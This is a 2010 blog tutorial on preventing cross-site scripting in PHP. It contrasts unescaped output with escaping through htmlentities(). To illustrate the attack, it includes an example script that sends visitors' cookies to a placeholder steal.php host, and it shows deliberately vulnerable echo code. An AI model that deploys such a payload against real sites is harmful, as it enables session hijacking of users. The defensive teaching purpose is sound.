Secure Coding Practice
Preventing cross-site scripting (XSS) vulnerabilities in PHP
by masterdipesh on Jun.09, 2010, under Secure Coding Practice
Being highly flexible in building dynamic, database-driven web applications makes the PHP programming language one of the most popular web development tools in use today. It also works beautifully with other open source tools, such as the MySQL database and the Apache web server. However, as more web sites are developed in PHP, they become targets for malicious attackers, and developers need to prepare for the attacks.
Security is an issue that demands attention, given the growing frequency of attacks on web sites.
There are many kind of potential attacks, but in this article i will be covering only about the (Cross-site scripting) XSS and preventing XSS.
When developing a typical PHP application, the bulk of your logic involves data processingtasks such as determining whether a user has logged in successfully, adding items to a shopping cart, and processing a credit card transaction.
Data can come from numerous sources, and as a security-conscious developer, you want to be able to easily and reliably distinguish between two distinct types of data:
- Filtered data
- Unfiltered data
Anything that is created by you is trustworthy and can be considered filtered.
e.g.
$email = 'test@test.com';
Unfiltered data is anything that is not guaranteed to be valid, such as form data submitted by the user,email retrieved from an IMAP server, or an XML document sent from another web application
e.g. $email = $_GET['email'];
Although a user can send data in multiple ways, most applications take the most important actions as the result of a form submission.
A user can send data to your application in three predominant ways:
- In the URL (e.g., GET data)
- In the content of a request (e.g., POST data)
- In an HTTP header (e.g., Cookie)
Cross-site scripting (XSS) is deservedly one of the best known types of attacks.
Any application that displays input is at riskweb-based email applications, forums, guestbooks, and even blog aggregators. In fact, most web applications display input of some type this is what makes them interesting, but it is also what places them at risk. If this input is not properly filtered and escaped, a cross-site scripting vulnerability exists.
Consider a web application that allows users to create new post on each page.
<form action="post.php" method="POST" />
<p>Name: <input type="text" name="title" /><br />
Comment: <textarea name="post" rows="10" cols="60"></textarea><br />
<input type="submit" value="Add Post" /></p>
</form>
The application displays post to other users who visit the page. For example, code similar to the following can be used to output a single post ($post) and corresponding title ($title):
<?php
echo "<p>$title<br />";
echo "<blockquote>$post</blockquote></p>";
?>
This approach places a significant amount of trust in the values of both $post and $title. Imagine that one of them contained the following:
<script>
document.location ='http://example.org/steal.php?cookies=' +document.cookie
</script>
If this post is sent to your users, it is no different than if you had allowed someone else to add this bit of JavaScript to your source. Your users will involuntarily send their cookies (the ones associated with your application) to example.org, and the receiving script (steal.php) can access all of the cookies in $_GET['cookies'].
This is a common mistake, and it is proliferated by many bad habits that have become commonplace. Luckily, the mistake is easy to avoid. Because the risk exists only when you output unfiltered, unescaped data, you can simply make sure that you filter input and escape output.
At the very least, you should use htmlentities( ) to escape any data that you send to the client this function converts all special characters into their HTML entity equivalents. Thus, any character that the browser interprets in a special way is converted to its HTML entity equivalent so that its original value is preserved.
The following replacement for the code to display a comment is a much safer approach:
<?php
$clean = array();
$html = array();
$html['title'] = htmlentities($clean['title'], ENT_QUOTES, 'UTF-8');
$html['post'] = htmlentities($clean['post'], ENT_QUOTES, 'UTF-8');
echo "<p>{$html['title']}<br />";
echo "<blockquote>{$html['post']}</blockquote></p>";
?>
